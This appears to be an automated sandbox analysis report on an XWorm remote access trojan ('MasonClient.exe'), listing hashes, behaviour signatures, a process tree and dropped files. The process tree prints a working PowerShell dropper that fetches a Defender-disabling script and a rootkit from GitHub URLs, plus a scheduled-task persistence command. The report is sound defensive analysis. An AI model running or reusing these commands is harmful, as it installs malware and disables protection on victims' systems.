Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/03/2025, 11:07

General

  • Target

    MasonClient.exe

  • Size

    154KB

  • MD5

    7d808e886ceceac50433176d38872344

  • SHA1

    5c94426cb6e7cd3351b6864b7a92b651bcaaec5b

  • SHA256

    5b653d9ea95075ea952b923d37e91be40839557f4cf8b2377514ddf9b87de3e8

  • SHA512

    f4c1efc58ce8a4bc7d9e2eb5ec93892943cc718e825fc7094599ead926c9e95c2e8aafe3f0c0892c06792394a9664ad5370714b5a0f03ee1508ab1bceec0fecb

  • SSDEEP

    3072:Zhh64XFzyb0S/XbOJzOOOOOOOHOOOOOOO/OOOOOOOp:rXXAbyOOOOOOOHOOOOOOO/OOOOOOO

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • install_file

    MasonUSB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 11 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 9 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 62 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:616
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:1012
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{476266c2-e7a8-4a4c-82bd-00a13ea14af2}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1020
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:664
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:944
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:516
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:592
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                1⤵
                • Indicator Removal: Clear Windows Event Logs
                PID:1100
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                • Drops file in System32 directory
                PID:1112
                • C:\Windows\system32\taskhostw.exe
                  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                  2⤵
                    PID:2260
                  • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                    C:\Users\Admin\AppData\Roaming\MasonClient.exe
                    2⤵
                    • Executes dropped EXE
                    PID:1308
                  • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                    C:\Users\Admin\AppData\Roaming\MasonClient.exe
                    2⤵
                    • Executes dropped EXE
                    PID:2492
                  • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                    C:\Users\Admin\AppData\Roaming\MasonClient.exe
                    2⤵
                    • Executes dropped EXE
                    PID:1468
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                  1⤵
                    PID:1144
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1156
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                      1⤵
                        PID:1164
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                        1⤵
                          PID:1300
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1344
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                            1⤵
                              PID:1352
                              • C:\Windows\system32\sihost.exe
                                sihost.exe
                                2⤵
                                  PID:2952
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                1⤵
                                  PID:1392
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                  1⤵
                                    PID:1568
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1588
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                      1⤵
                                        PID:1620
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1724
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1744
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1752
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1852
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1972
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                  1⤵
                                                    PID:1980
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:1504
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1644
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                        1⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1776
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2128
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2200
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                            1⤵
                                                              PID:2380
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                              1⤵
                                                                PID:2392
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                1⤵
                                                                  PID:2404
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                  1⤵
                                                                  • Drops file in System32 directory
                                                                  • Suspicious use of UnmapMainImage
                                                                  PID:2556
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                  1⤵
                                                                  • Enumerates connected drives
                                                                  PID:2604
                                                                • C:\Windows\sysmon.exe
                                                                  C:\Windows\sysmon.exe
                                                                  1⤵
                                                                    PID:2612
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2632
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2684
                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                        1⤵
                                                                          PID:2880
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:3032
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                            1⤵
                                                                              PID:3256
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3464
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                • Suspicious use of UnmapMainImage
                                                                                PID:3472
                                                                                • C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
                                                                                  2⤵
                                                                                  • Checks computer location settings
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:2248
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
                                                                                    3⤵
                                                                                    • Blocklisted process makes network request
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Downloads MZ/PE file
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:1244
                                                                                    • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
                                                                                      4⤵
                                                                                      • Checks computer location settings
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:4836
                                                                                      • C:\ProgramData\MasonRootkit.exe
                                                                                        "C:\ProgramData\MasonRootkit.exe"
                                                                                        5⤵
                                                                                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of SetThreadContext
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:1068
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA103.tmp.bat""
                                                                                        5⤵
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:3676
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          6⤵
                                                                                            PID:3316
                                                                                          • C:\Windows\system32\timeout.exe
                                                                                            timeout 3
                                                                                            6⤵
                                                                                            • Delays execution with timeout.exe
                                                                                            PID:4368
                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                      "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
                                                                                      3⤵
                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                      PID:2628
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                  1⤵
                                                                                    PID:3628
                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                    1⤵
                                                                                      PID:3816
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                      • Suspicious use of UnmapMainImage
                                                                                      PID:4004
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                      • Suspicious use of UnmapMainImage
                                                                                      PID:4168
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                      1⤵
                                                                                        PID:4912
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:5540
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                          1⤵
                                                                                            PID:3696
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                            1⤵
                                                                                              PID:5368
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                              1⤵
                                                                                                PID:5536
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                1⤵
                                                                                                • Modifies data under HKEY_USERS
                                                                                                PID:5296
                                                                                              • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                1⤵
                                                                                                • Drops file in System32 directory
                                                                                                • Modifies data under HKEY_USERS
                                                                                                PID:5176
                                                                                              • C:\Windows\system32\SppExtComObj.exe
                                                                                                C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                1⤵
                                                                                                  PID:3444
                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                  1⤵
                                                                                                    PID:5868
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                    1⤵
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:5996
                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                    1⤵
                                                                                                      PID:5892
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                      1⤵
                                                                                                        PID:2304
                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                        1⤵
                                                                                                        • Modifies registry class
                                                                                                        PID:3268
                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:4800
                                                                                                        • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                          C:\Windows\System32\WaaSMedicAgent.exe 6b3cb485fae4d117b06b61455d3638ca +XMpeVdLJES8gnS3VLEvzA.0.1.0.0.0
                                                                                                          1⤵
                                                                                                          • Sets service image path in registry
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:5732
                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                            2⤵
                                                                                                              PID:2112
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                            1⤵
                                                                                                            • Drops file in Windows directory
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:5700
                                                                                                          • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                            C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                            1⤵
                                                                                                            • Checks BIOS information in registry
                                                                                                            • Writes to the Master Boot Record (MBR)
                                                                                                            • Checks SCSI registry key(s)
                                                                                                            • Enumerates system info in registry
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:4064
                                                                                                          • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                            C:\Windows\servicing\TrustedInstaller.exe
                                                                                                            1⤵
                                                                                                              PID:5692
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                              1⤵
                                                                                                              • Checks processor information in registry
                                                                                                              PID:4612
                                                                                                            • C:\Windows\System32\mousocoreworker.exe
                                                                                                              C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                              1⤵
                                                                                                              • Checks processor information in registry
                                                                                                              • Enumerates system info in registry
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              PID:3728
                                                                                                            • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                                                                                                              1⤵
                                                                                                                PID:2924
                                                                                                              • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                1⤵
                                                                                                                  PID:2484
                                                                                                                • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                  "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                  1⤵
                                                                                                                    PID:4020
                                                                                                                  • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                    C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                    1⤵
                                                                                                                    • Drops file in Windows directory
                                                                                                                    PID:2220

                                                                                                                  Network

                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  • C:\ProgramData\MasonRootkit.exe

                                                                                                                    Filesize

                                                                                                                    596KB

                                                                                                                    MD5

                                                                                                                    bb2fd6c1b233fd2f08a6a43ef860bcb6

                                                                                                                    SHA1

                                                                                                                    1cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04

                                                                                                                    SHA256

                                                                                                                    8c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce

                                                                                                                    SHA512

                                                                                                                    2ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonClient.exe.log

                                                                                                                    Filesize

                                                                                                                    654B

                                                                                                                    MD5

                                                                                                                    2ff39f6c7249774be85fd60a8f9a245e

                                                                                                                    SHA1

                                                                                                                    684ff36b31aedc1e587c8496c02722c6698c1c4e

                                                                                                                    SHA256

                                                                                                                    e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

                                                                                                                    SHA512

                                                                                                                    1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonRootkit.exe.log

                                                                                                                    Filesize

                                                                                                                    1KB

                                                                                                                    MD5

                                                                                                                    3982d6d16fd43ae609fd495bb33433a2

                                                                                                                    SHA1

                                                                                                                    6c33cd681fdfd9a844a3128602455a768e348765

                                                                                                                    SHA256

                                                                                                                    9a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9

                                                                                                                    SHA512

                                                                                                                    4b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe

                                                                                                                    Filesize

                                                                                                                    612KB

                                                                                                                    MD5

                                                                                                                    5e1eb1a67d40ccae40dee2a037ca6c64

                                                                                                                    SHA1

                                                                                                                    786b54d3d451ea40faeeb20fd30a38744862eeb5

                                                                                                                    SHA256

                                                                                                                    80e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f

                                                                                                                    SHA512

                                                                                                                    0484da209f0c8edff5d1f08b841f3134008ff72fb563fa48a15f96c8ad23fdfb82cc8a59bc729f2db3d359e18558d6f4fbaf4b40955a38787472db438a043205

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ispba3o2.z4m.ps1

                                                                                                                    Filesize

                                                                                                                    60B

                                                                                                                    MD5

                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                    SHA1

                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                    SHA256

                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                    SHA512

                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\tmpA103.tmp.bat

                                                                                                                    Filesize

                                                                                                                    164B

                                                                                                                    MD5

                                                                                                                    15d9e34c48ea94fcc402f5d4434d87f3

                                                                                                                    SHA1

                                                                                                                    5ceb18394cadf45c66c3b4e77a9f85287dc3f9b9

                                                                                                                    SHA256

                                                                                                                    05c32b36b8b431dd7a84c376b775b9671767a75194d23ee3ae80f84acd287c4b

                                                                                                                    SHA512

                                                                                                                    0926071bc29dfe78ef7742aab137bfc985a402f5062ba664221c91e6e2c566bda090b475da45bd0aceb28cebad4a62169f37c79f6f326da831d0c3c9739ccb01

                                                                                                                  • C:\Users\Admin\AppData\Roaming\MasonClient.exe

                                                                                                                    Filesize

                                                                                                                    154KB

                                                                                                                    MD5

                                                                                                                    7d808e886ceceac50433176d38872344

                                                                                                                    SHA1

                                                                                                                    5c94426cb6e7cd3351b6864b7a92b651bcaaec5b

                                                                                                                    SHA256

                                                                                                                    5b653d9ea95075ea952b923d37e91be40839557f4cf8b2377514ddf9b87de3e8

                                                                                                                    SHA512

                                                                                                                    f4c1efc58ce8a4bc7d9e2eb5ec93892943cc718e825fc7094599ead926c9e95c2e8aafe3f0c0892c06792394a9664ad5370714b5a0f03ee1508ab1bceec0fecb

                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                    Filesize

                                                                                                                    2KB

                                                                                                                    MD5

                                                                                                                    8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                    SHA1

                                                                                                                    98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                    SHA256

                                                                                                                    ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                    SHA512

                                                                                                                    c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                    Filesize

                                                                                                                    2KB

                                                                                                                    MD5

                                                                                                                    f313c5b4f95605026428425586317353

                                                                                                                    SHA1

                                                                                                                    06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                    SHA256

                                                                                                                    129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                    SHA512

                                                                                                                    b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                    Filesize

                                                                                                                    2KB

                                                                                                                    MD5

                                                                                                                    ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                    SHA1

                                                                                                                    a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                    SHA256

                                                                                                                    98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                    SHA512

                                                                                                                    1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                    Filesize

                                                                                                                    2KB

                                                                                                                    MD5

                                                                                                                    7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                    SHA1

                                                                                                                    63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                    SHA256

                                                                                                                    727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                    SHA512

                                                                                                                    f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                    Filesize

                                                                                                                    2KB

                                                                                                                    MD5

                                                                                                                    1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                    SHA1

                                                                                                                    5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                    SHA256

                                                                                                                    55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                    SHA512

                                                                                                                    5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                    Filesize

                                                                                                                    2KB

                                                                                                                    MD5

                                                                                                                    0b990e24f1e839462c0ac35fef1d119e

                                                                                                                    SHA1

                                                                                                                    9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                    SHA256

